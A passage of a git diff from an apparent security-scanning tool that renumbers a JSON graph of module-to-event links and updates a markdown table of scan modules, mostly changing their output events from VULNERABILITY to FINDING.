7, + "type": "consumes" + }, + { + "source": 4, + "target": 25, "type": "produces" }, { "source": 26, - "target": 7, + "target": 2, "type": "consumes" }, { @@ -191,36 +186,36 @@ }, { "source": 27, - "target": 2, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 27, "type": "produces" }, { - "source": 17, + "source": 19, "target": 27, "type": "produces" }, { - "source": 5, - "target": 27, - "type": "produces" + "source": 28, + "target": 7, + "type": "consumes" }, { "source": 28, - "target": 7, + "target": 24, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 28, "type": "produces" }, { - "source": 20, + "source": 24, "target": 28, "type": "produces" }, @@ -231,7 +226,7 @@ }, { "source": 29, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -240,37 +235,37 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 29, "type": "produces" }, { "source": 30, - "target": 7, - "type": "consumes" - }, - { - "source": 30, - "target": 25, + "target": 24, "type": "consumes" }, { - "source": 4, + "source": 19, "target": 30, "type": "produces" }, { - "source": 25, - "target": 30, - "type": "produces" + "source": 31, + "target": 7, + "type": "consumes" }, { "source": 31, - "target": 25, + "target": 24, "type": "consumes" }, { - "source": 20, + "source": 4, + "target": 31, + "type": "produces" + }, + { + "source": 24, "target": 31, "type": "produces" }, @@ -281,7 +276,7 @@ }, { "source": 32, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -290,7 +285,7 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 32, "type": "produces" }, @@ -301,7 +296,7 @@ }, { "source": 33, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -310,7 +305,7 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 33, "type": "produces" }, @@ -320,17 +315,7 @@ "type": "consumes" }, { - "source": 34, - "target": 25, - "type": "consumes" - }, - { - "source": 4, - "target": 34, - "type": "produces" - }, - { - "source": 25, + "source": 7, "target": 34, "type": "produces" }, @@ -346,21 +331,21 @@ }, { "source": 36, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 36, "type": "produces" }, { "source": 37, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 37, "type": "produces" }, @@ -376,107 +361,107 @@ }, { "source": 39, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 39, - "type": "produces" - }, - { - "source": 40, "target": 12, "type": "consumes" }, { "source": 7, - "target": 40, + "target": 39, "type": "produces" }, { "source": 12, - "target": 40, + "target": 39, "type": "produces" }, { "source": 16, - "target": 40, + "target": 39, "type": "produces" }, { - "source": 41, - "target": 40, + "source": 40, + "target": 39, "type": "produces" }, { - "source": 42, - "target": 40, + "source": 41, + "target": 39, "type": "produces" }, { - "source": 17, - "target": 40, + "source": 5, + "target": 39, "type": "produces" }, { - "source": 20, - "target": 40, + "source": 19, + "target": 39, "type": "produces" }, { - "source": 43, + "source": 42, "target": 7, "type": "consumes" }, { "source": 7, - "target": 43, + "target": 42, "type": "produces" }, { - "source": 44, + "source": 43, "target": 7, "type": "consumes" }, { "source": 7, - "target": 44, + "target": 43, "type": "produces" }, { - "source": 45, - "target": 20, + "source": 44, + "target": 19, "type": "consumes" }, { - "source": 46, - "target": 45, + "source": 45, + "target": 44, "type": "produces" }, { - "source": 47, + "source": 46, "target": 7, "type": "consumes" }, + { + "source": 47, + "target": 46, + "type": "produces" + }, { "source": 48, - "target": 47, + "target": 46, "type": "produces" }, { "source": 49, - "target": 47, + "target": 46, "type": "produces" }, { "source": 50, - "target": 47, + "target": 46, "type": "produces" }, { "source": 51, - "target": 47, + "target": 7, + "type": "consumes" + }, + { + "source": 7, + "target": 51, "type": "produces" }, { @@ -495,773 +480,763 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 53, "type": "produces" }, - { - "source": 54, - "target": 7, - "type": "consumes" - }, { "source": 48, - "target": 54, + "target": 53, "type": "produces" }, { "source": 49, - "target": 54, + "target": 53, "type": "produces" }, { "source": 50, - "target": 54, - "type": "produces" - }, - { - "source": 51, - "target": 54, + "target": 53, "type": "produces" }, { - "source": 55, + "source": 54, "target": 7, "type": "consumes" }, { "source": 7, - "target": 55, + "target": 54, "type": "produces" }, { - "source": 56, + "source": 55, "target": 7, "type": "consumes" }, { - "source": 57, - "target": 56, + "source": 56, + "target": 55, "type": "produces" }, { - "source": 20, - "target": 56, + "source": 19, + "target": 55, "type": "produces" }, { - "source": 58, + "source": 57, "target": 7, "type": "consumes" }, { "source": 7, - "target": 58, + "target": 57, "type": "produces" }, { - "source": 59, + "source": 58, "target": 7, "type": "consumes" }, { "source": 7, - "target": 59, + "target": 58, "type": "produces" }, { - "source": 60, + "source": 59, "target": 7, "type": "consumes" }, { "source": 7, - "target": 60, + "target": 59, "type": "produces" }, { - "source": 48, - "target": 60, + "source": 47, + "target": 59, "type": "produces" }, { - "source": 20, - "target": 60, + "source": 19, + "target": 59, "type": "produces" }, { - "source": 61, + "source": 60, "target": 7, "type": "consumes" }, { "source": 7, - "target": 61, + "target": 60, "type": "produces" }, { - "source": 62, + "source": 61, "target": 7, "type": "consumes" }, { "source": 7, - "target": 62, + "target": 61, "type": "produces" }, { "source": 7, - "target": 63, + "target": 62, "type": "produces" }, { "source": 12, - "target": 63, + "target": 62, "type": "produces" }, { - "source": 57, - "target": 63, + "source": 56, + "target": 62, "type": "produces" }, { - "source": 64, + "source": 63, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 64, + "source": 47, + "target": 63, "type": "produces" }, { - "source": 57, - "target": 64, - "type": "produces" + "source": 56, + "target": 63, + "type": "produces" }, { - "source": 20, - "target": 64, + "source": 19, + "target": 63, "type": "produces" }, { - "source": 65, - "target": 46, + "source": 64, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 65, + "target": 64, "type": "produces" }, { - "source": 66, - "target": 67, + "source": 65, + "target": 66, "type": "consumes" }, { - "source": 66, - "target": 68, + "source": 65, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 66, + "source": 45, + "target": 65, "type": "produces" }, { - "source": 68, - "target": 66, + "source": 67, + "target": 65, "type": "produces" }, { - "source": 20, - "target": 66, + "source": 19, + "target": 65, "type": "produces" }, { - "source": 69, + "source": 68, "target": 2, "type": "consumes" }, { - "source": 17, - "target": 69, + "source": 4, + "target": 68, "type": "produces" }, { "source": 5, - "target": 69, + "target": 68, "type": "produces" }, { - "source": 70, + "source": 69, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 70, + "source": 47, + "target": 69, "type": "produces" }, { - "source": 71, - "target": 48, + "source": 70, + "target": 47, "type": "consumes" }, { - "source": 72, + "source": 71, "target": 2, "type": "consumes" }, { - "source": 72, - "target": 73, - "type": "consumes" - }, - { - "source": 20, + "source": 71, "target": 72, - "type": "produces" + "type": "consumes" }, { - "source": 74, - "target": 72, + "source": 19, + "target": 71, "type": "produces" }, - { - "source": 75, - "target": 10, - "type": "consumes" - }, { "source": 73, - "target": 75, + "target": 71, "type": "produces" }, { - "source": 76, + "source": 74, "target": 3, "type": "consumes" }, { - "source": 20, - "target": 76, + "source": 19, + "target": 74, "type": "produces" }, { - "source": 77, - "target": 78, + "source": 75, + "target": 76, "type": "consumes" }, { - "source": 20, - "target": 77, + "source": 19, + "target": 75, "type": "produces" }, { - "source": 79, + "source": 77, "target": 2, "type": "consumes" }, { - "source": 79, - "target": 20, + "source": 77, + "target": 19, "type": "consumes" }, { "source": 10, - "target": 79, + "target": 77, "type": "produces" }, { - "source": 80, + "source": 78, "target": 16, "type": "consumes" }, { - "source": 42, - "target": 80, + "source": 41, + "target": 78, "type": "produces" }, { - "source": 81, + "source": 79, "target": 7, "type": "consumes" }, { "source": 7, - "target": 81, + "target": 79, "type": "produces" }, { - "source": 82, + "source": 80, "target": 3, "type": "consumes" }, { - "source": 5, - "target": 82, + "source": 4, + "target": 80, "type": "produces" }, { - "source": 83, + "source": 81, "target": 3, "type": "consumes" }, { - "source": 46, - "target": 83, + "source": 45, + "target": 81, "type": "produces" }, { "source": 4, - "target": 83, + "target": 81, "type": "produces" }, { - "source": 84, - "target": 46, + "source": 82, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 84, + "target": 82, "type": "produces" }, { - "source": 85, - "target": 46, + "source": 83, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 85, + "target": 83, "type": "produces" }, { - "source": 86, + "source": 84, "target": 7, "type": "consumes" }, { - "source": 46, - "target": 86, + "source": 45, + "target": 84, "type": "produces" }, { - "source": 20, - "target": 86, + "source": 19, + "target": 84, "type": "produces" }, { - "source": 87, - "target": 67, + "source": 85, + "target": 66, "type": "consumes" }, { - "source": 87, - "target": 68, + "source": 85, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 87, + "source": 45, + "target": 85, "type": "produces" }, { - "source": 88, + "source": 86, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 88, + "source": 47, + "target": 86, "type": "produces" }, { - "source": 68, - "target": 88, + "source": 67, + "target": 86, "type": "produces" }, { - "source": 89, - "target": 46, + "source": 87, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 89, + "target": 87, "type": "produces" }, { - "source": 90, - "target": 68, + "source": 88, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 90, + "source": 45, + "target": 88, "type": "produces" }, { - "source": 91, + "source": 89, "target": 2, "type": "consumes" }, { - "source": 91, - "target": 68, + "source": 89, + "target": 67, "type": "consumes" }, { - "source": 91, - "target": 17, + "source": 89, + "target": 5, "type": "consumes" }, { - "source": 46, - "target": 91, + "source": 45, + "target": 89, "type": "produces" }, { "source": 4, - "target": 91, + "target": 89, "type": "produces" }, { - "source": 68, - "target": 91, + "source": 67, + "target": 89, "type": "produces" }, { - "source": 17, - "target": 91, + "source": 5, + "target": 89, "type": "produces" }, { - "source": 92, - "target": 46, + "source": 90, + "target": 45, "type": "consumes" }, { - "source": 92, - "target": 67, + "source": 90, + "target": 66, "type": "consumes" }, { "source": 9, - "target": 92, + "target": 90, "type": "produces" }, { - "source": 93, - "target": 68, + "source": 91, + "target": 67, "type": "consumes" }, { - "source": 93, + "source": 91, "target": 3, "type": "consumes" }, { - "source": 17, - "target": 93, + "source": 5, + "target": 91, "type": "produces" }, { "source": 3, - "target": 93, + "target": 91, "type": "produces" }, { - "source": 20, - "target": 93, + "source": 19, + "target": 91, "type": "produces" }, { - "source": 94, - "target": 93, + "source": 92, + "target": 91, "type": "produces" }, { - "source": 95, + "source": 93, "target": 3, "type": "consumes" }, { "source": 4, - "target": 95, + "target": 93, "type": "produces" }, { - "source": 96, + "source": 94, "target": 7, "type": "consumes" }, { "source": 7, - "target": 96, + "target": 94, "type": "produces" }, { - "source": 97, + "source": 95, "target": 2, "type": "consumes" }, { "source": 4, - "target": 97, + "target": 95, "type": "produces" }, { - "source": 98, + "source": 96, "target": 16, "type": "consumes" }, { - "source": 98, + "source": 96, "target": 3, "type": "consumes" }, { - "source": 98, - "target": 20, + "source": 96, + "target": 19, "type": "consumes" }, { "source": 2, - "target": 98, + "target": 96, "type": "produces" }, { "source": 3, - "target": 98, + "target": 96, "type": "produces" }, { - "source": 99, - "target": 74, + "source": 97, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 99, + "target": 97, "type": "produces" }, { - "source": 100, + "source": 98, "target": 7, "type": "consumes" }, { "source": 7, - "target": 100, + "target": 98, "type": "produces" }, { - "source": 48, - "target": 100, + "source": 47, + "target": 98, "type": "produces" }, { - "source": 20, - "target": 100, + "source": 19, + "target": 98, "type": "produces" }, { - "source": 101, + "source": 99, "target": 3, "type": "consumes" }, { - "source": 78, - "target": 101, + "source": 76, + "target": 99, "type": "produces" }, { - "source": 102, + "source": 100, "target": 12, "type": "consumes" }, { - "source": 103, - "target": 102, + "source": 101, + "target": 100, "type": "produces" }, { - "source": 104, + "source": 102, "target": 12, "type": "consumes" }, { "source": 12, - "target": 104, + "target": 102, "type": "produces" }, { - "source": 105, + "source": 103, "target": 12, "type": "consumes" }, { - "source": 103, - "target": 105, + "source": 101, + "target": 103, "type": "produces" }, { - "source": 106, + "source": 104, "target": 10, "type": "consumes" }, { "source": 10, - "target": 106, + "target": 104, "type": "produces" }, { - "source": 107, + "source": 105, + "target": 10, + "type": "consumes" + }, + { + "source": 72, + "target": 105, + "type": "produces" + }, + { + "source": 106, "target": 7, "type": "consumes" }, { "source": 7, - "target": 107, + "target": 106, "type": "produces" }, { - "source": 108, - "target": 42, + "source": 107, + "target": 41, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 107, "type": "produces" }, { - "source": 109, + "source": 108, "target": 3, "type": "consumes" }, { - "source": 109, - "target": 74, + "source": 108, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 109, - "type": "produces" - }, - { - "source": 5, - "target": 109, + "target": 108, "type": "produces" }, { - "source": 110, - "target": 42, + "source": 109, + "target": 41, "type": "consumes" }, { - "source": 5, - "target": 110, + "source": 4, + "target": 109, "type": "produces" }, { - "source": 111, + "source": 110, "target": 7, "type": "consumes" }, { "source": 7, - "target": 111, + "target": 110, "type": "produces" }, { - "source": 112, + "source": 111, "target": 2, "type": "consumes" }, { "source": 4, - "target": 112, + "target": 111, "type": "produces" }, { - "source": 113, + "source": 112, "target": 7, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 2, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 12, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 16, "type": "consumes" }, { - "source": 113, - "target": 42, + "source": 112, + "target": 41, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 2, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 3, "type": "consumes" }, { "source": 7, - "target": 114, + "target": 113, "type": "produces" }, { "source": 4, - "target": 114, + "target": 113, "type": "produces" }, { - "source": 115, + "source": 114, "target": 3, "type": "consumes" }, { "source": 4, - "target": 115, - "type": "produces" - }, - { - "source": 17, - "target": 115, + "target": 114, "type": "produces" }, { "source": 5, - "target": 115, + "target": 114, "type": "produces" }, { - "source": 116, + "source": 115, "target": 7, "type": "consumes" }, + { + "source": 115, + "target": 19, + "type": "consumes" + }, + { + "source": 7, + "target": 115, + "type": "produces" + }, { "source": 116, - "target": 20, + "target": 7, "type": "consumes" }, { @@ -1271,11 +1246,16 @@ }, { "source": 117, - "target": 7, + "target": 2, "type": "consumes" }, { - "source": 7, + "source": 117, + "target": 73, + "type": "consumes" + }, + { + "source": 73, "target": 117, "type": "produces" }, @@ -1286,16 +1266,11 @@ }, { "source": 118, - "target": 74, + "target": 73, "type": "consumes" }, { - "source": 4, - "target": 118, - "type": "produces" - }, - { - "source": 74, + "source": 73, "target": 118, "type": "produces" }, @@ -1306,31 +1281,21 @@ }, { "source": 119, - "target": 74, + "target": 73, "type": "consumes" }, { - "source": 4, - "target": 119, - "type": "produces" - }, - { - "source": 74, + "source": 73, "target": 119, "type": "produces" }, { "source": 120, - "target": 2, - "type": "consumes" - }, - { - "source": 120, - "target": 74, + "target": 7, "type": "consumes" }, { - "source": 74, + "source": 7, "target": 120, "type": "produces" }, @@ -1340,93 +1305,93 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 121, "type": "produces" }, { "source": 122, - "target": 7, - "type": "consumes" - }, - { - "source": 48, - "target": 122, - "type": "produces" - }, - { - "source": 123, "target": 16, "type": "consumes" }, { - "source": 123, + "source": 122, "target": 3, "type": "consumes" }, { - "source": 123, - "target": 20, + "source": 122, + "target": 19, "type": "consumes" }, { - "source": 124, + "source": 123, "target": 7, "type": "consumes" }, { - "source": 124, + "source": 123, "target": 12, "type": "consumes" }, { - "source": 124, - "target": 125, + "source": 123, + "target": 124, "type": "consumes" }, { "source": 16, - "target": 124, + "target": 123, "type": "produces" }, { - "source": 126, + "source": 125, + "target": 66, + "type": "consumes" + }, + { + "source": 125, "target": 67, "type": "consumes" }, + { + "source": 45, + "target": 125, + "type": "produces" + }, { "source": 126, - "target": 68, + "target": 45, "type": "consumes" }, { - "source": 46, + "source": 10, "target": 126, "type": "produces" }, { "source": 127, - "target": 46, + "target": 7, "type": "consumes" }, { - "source": 10, + "source": 7, "target": 127, "type": "produces" }, { "source": 128, - "target": 7, + "target": 73, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 128, "type": "produces" }, { "source": 129, - "target": 74, + "target": 19, "type": "consumes" }, { @@ -1436,21 +1401,21 @@ }, { "source": 130, - "target": 20, + "target": 3, "type": "consumes" }, { - "source": 4, + "source": 19, "target": 130, "type": "produces" }, { "source": 131, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 20, + "source": 7, "target": 131, "type": "produces" }, @@ -1460,448 +1425,413 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 132, "type": "produces" }, { - "source": 133, - "target": 7, - "type": "consumes" - }, - { - "source": 48, - "target": 133, - "type": "produces" - }, - { - "source": 20, - "target": 133, + "source": 19, + "target": 132, "type": "produces" }, { - "source": 134, + "source": 133, "target": 7, "type": "consumes" }, { "source": 7, - "target": 134, + "target": 133, "type": "produces" }, { - "source": 135, + "source": 134, "target": 7, "type": "consumes" }, { - "source": 135, + "source": 134, "target": 12, "type": "consumes" }, { "source": 7, - "target": 135, + "target": 134, "type": "produces" }, { "source": 4, - "target": 135, + "target": 134, "type": "produces" }, { "source": 16, - "target": 135, - "type": "produces" - }, - { - "source": 17, - "target": 135, + "target": 134, "type": "produces" }, { "source": 5, - "target": 135, + "target": 134, "type": "produces" }, { - "source": 136, + "source": 135, "target": 7, "type": "consumes" }, { "source": 7, - "target": 136, + "target": 135, "type": "produces" }, { - "source": 137, + "source": 136, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 137, + "source": 47, + "target": 136, "type": "produces" }, { - "source": 138, + "source": 137, "target": 3, "type": "consumes" }, { "source": 4, - "target": 138, + "target": 137, "type": "produces" }, { - "source": 139, - "target": 20, + "source": 138, + "target": 19, "type": "consumes" }, { - "source": 68, - "target": 139, + "source": 67, + "target": 138, "type": "produces" }, { - "source": 140, - "target": 141, + "source": 139, + "target": 140, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 7, "type": "consumes" }, { - "source": 140, - "target": 23, + "source": 139, + "target": 22, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 2, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 12, "type": "consumes" }, { - "source": 140, - "target": 125, + "source": 139, + "target": 124, "type": "consumes" }, { - "source": 140, - "target": 68, + "source": 139, + "target": 67, "type": "consumes" }, { - "source": 140, - "target": 25, + "source": 139, + "target": 24, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 3, "type": "consumes" }, { - "source": 140, - "target": 20, + "source": 139, + "target": 19, "type": "consumes" }, { - "source": 140, - "target": 51, + "source": 139, + "target": 50, "type": "consumes" }, { "source": 7, - "target": 140, + "target": 139, "type": "produces" }, { "source": 4, - "target": 140, + "target": 139, "type": "produces" }, { "source": 12, - "target": 140, + "target": 139, "type": "produces" }, { "source": 16, - "target": 140, + "target": 139, "type": "produces" }, { - "source": 67, - "target": 140, + "source": 66, + "target": 139, "type": "produces" }, { - "source": 142, + "source": 141, "target": 16, "type": "consumes" }, { "source": 7, - "target": 142, + "target": 141, "type": "produces" }, { - "source": 48, - "target": 142, + "source": 47, + "target": 141, "type": "produces" }, { - "source": 143, + "source": 142, "target": 7, "type": "consumes" }, { "source": 7, - "target": 143, + "target": 142, "type": "produces" }, { - "source": 144, + "source": 143, "target": 7, "type": "consumes" }, { "source": 7, - "target": 144, + "target": 143, "type": "produces" }, { - "source": 145, + "source": 144, "target": 7, "type": "consumes" }, { - "source": 145, - "target": 23, + "source": 144, + "target": 22, "type": "consumes" }, { - "source": 146, + "source": 145, "target": 2, "type": "consumes" }, { - "source": 146, + "source": 145, "target": 3, "type": "consumes" }, { "source": 4, - "target": 146, - "type": "produces" - }, - { - "source": 5, - "target": 146, + "target": 145, "type": "produces" }, { - "source": 147, + "source": 146, "target": 7, "type": "consumes" }, { "source": 7, - "target": 147, + "target": 146, "type": "produces" }, { - "source": 148, - "target": 46, + "source": 147, + "target": 45, "type": "consumes" }, { - "source": 148, + "source": 147, "target": 10, "type": "consumes" }, { - "source": 148, + "source": 147, "target": 2, "type": "consumes" }, { - "source": 148, - "target": 73, + "source": 147, + "target": 72, "type": "consumes" }, { "source": 4, - "target": 148, - "type": "produces" - }, - { - "source": 5, - "target": 148, + "target": 147, "type": "produces" }, { - "source": 149, + "source": 148, "target": 10, "type": "consumes" }, { "source": 10, - "target": 149, + "target": 148, "type": "produces" }, { - "source": 150, + "source": 149, "target": 3, "type": "consumes" }, { "source": 4, - "target": 150, + "target": 149, "type": "produces" }, { - "source": 151, + "source": 150, "target": 7, "type": "consumes" }, { "source": 7, - "target": 151, + "target": 150, "type": "produces" }, { - "source": 20, - "target": 151, + "source": 19, + "target": 150, "type": "produces" }, { - "source": 152, + "source": 151, "target": 3, "type": "consumes" }, { "source": 7, - "target": 152, + "target": 151, "type": "produces" }, { - "source": 153, - "target": 152, + "source": 152, + "target": 151, "type": "produces" }, { - "source": 154, + "source": 153, "target": 7, "type": "consumes" }, { "source": 7, - "target": 154, + "target": 153, "type": "produces" }, { - "source": 155, + "source": 154, "target": 7, "type": "consumes" }, { "source": 7, - "target": 155, + "target": 154, "type": "produces" }, { - "source": 156, + "source": 155, "target": 3, "type": "consumes" }, { - "source": 18, - "target": 156, + "source": 17, + "target": 155, "type": "produces" }, { - "source": 157, + "source": 156, "target": 7, "type": "consumes" }, { "source": 7, - "target": 157, + "target": 156, "type": "produces" }, { - "source": 20, - "target": 157, + "source": 19, + "target": 156, "type": "produces" }, { - "source": 158, - "target": 74, + "source": 157, + "target": 73, "type": "consumes" }, { - "source": 159, + "source": 158, "target": 4, "type": "consumes" }, { - "source": 159, - "target": 17, + "source": 158, + "target": 5, "type": "consumes" }, { - "source": 159, + "source": 158, "target": 3, "type": "consumes" }, { - "source": 159, - "target": 153, + "source": 158, + "target": 152, "type": "consumes" }, { "source": 159, - "target": 5, - "type": "consumes" - }, - { - "source": 160, "target": 2, "type": "consumes" }, { - "source": 160, - "target": 17, + "source": 159, + "target": 5, "type": "consumes" }, { "source": 4, - "target": 160, + "target": 159, "type": "produces" }, { - "source": 17, - "target": 160, - "type": "produces" - }, - { - "source": 20, - "target": 160, + "source": 5, + "target": 159, "type": "produces" }, { - "source": 5, - "target": 160, + "source": 19, + "target": 159, "type": "produces" } ] \ No newline at end of file diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 50af1841f6..4dfd2b50f9 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -3,12 +3,12 @@ | Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | Author | Created Date | |-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------| -| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, safe, web-thorough | HTTP_RESPONSE, URL | FINDING, VULNERABILITY | @liquidsec | 2024-01-18 | -| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, safe, web-thorough | URL | VULNERABILITY | @liquidsec | 2025-01-28 | -| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, safe, subdomain-hijack, web-basic | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING, VULNERABILITY | @liquidsec | 2024-01-18 | -| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, safe, subdomain-enum | STORAGE_BUCKET, URL | FINDING, VULNERABILITY | @liquidsec | 2024-01-29 | -| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, safe, subdomain-enum | DNS_NAME | FINDING, VULNERABILITY | @liquidsec | 2024-01-29 | -| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, safe, web-basic | HTTP_RESPONSE | FINDING, TECHNOLOGY, VULNERABILITY | @liquidsec | 2022-11-19 | +| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, safe, web-thorough | HTTP_RESPONSE, URL | FINDING, TECHNOLOGY | @liquidsec | 2024-01-18 | +| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, safe, web-thorough | URL | FINDING | @liquidsec | 2025-01-28 | +| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, safe, subdomain-hijack, web-basic | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING | @liquidsec | 2024-01-18 | +| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, safe, subdomain-enum | STORAGE_BUCKET, URL | FINDING | @liquidsec | 2024-01-29 | +| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, safe, subdomain-enum | DNS_NAME | FINDING | @liquidsec | 2024-01-29 | +| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, safe, web-basic | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2022-11-19 | | bucket_amazon | scan | No | Check for S3 buckets related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | | bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, safe, slow, web-thorough | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | | bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | @@ -18,12 +18,12 @@ | dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, aggressive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | | dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, aggressive, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | | dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | -| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE | TECHNOLOGY, VULNERABILITY | @liquidsec | 2023-11-21 | +| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | | ffuf | scan | No | A fast web fuzzer written in Go | active, aggressive, deadly | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | | ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, aggressive, iis-shortnames, web-thorough | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | | filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web-basic | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | | fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | -| generic_ssrf | scan | No | Check for generic SSRFs | active, aggressive, web-thorough | URL | VULNERABILITY | @liquidsec | 2022-07-30 | +| generic_ssrf | scan | No | Check for generic SSRFs | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-07-30 | | git | scan | No | Check for exposed .git repositories | active, code-enum, safe, web-basic | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | | gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum, safe | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | | gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum, safe | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | @@ -34,14 +34,14 @@ | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-thorough | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, safe, web-basic | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, aggressive, deadly | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, aggressive, deadly, web-thorough | URL, WEB_PARAMETER | FINDING, VULNERABILITY | @liquidsec | 2024-06-28 | -| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, aggressive, deadly | PROTOCOL | VULNERABILITY | @christianfl | 2025-05-16 | +| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, aggressive, deadly, web-thorough | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, aggressive, deadly | PROTOCOL | FINDING | @christianfl | 2025-05-16 | | newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | | ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web-basic | HTTP_RESPONSE, URL | DNS_NAME, 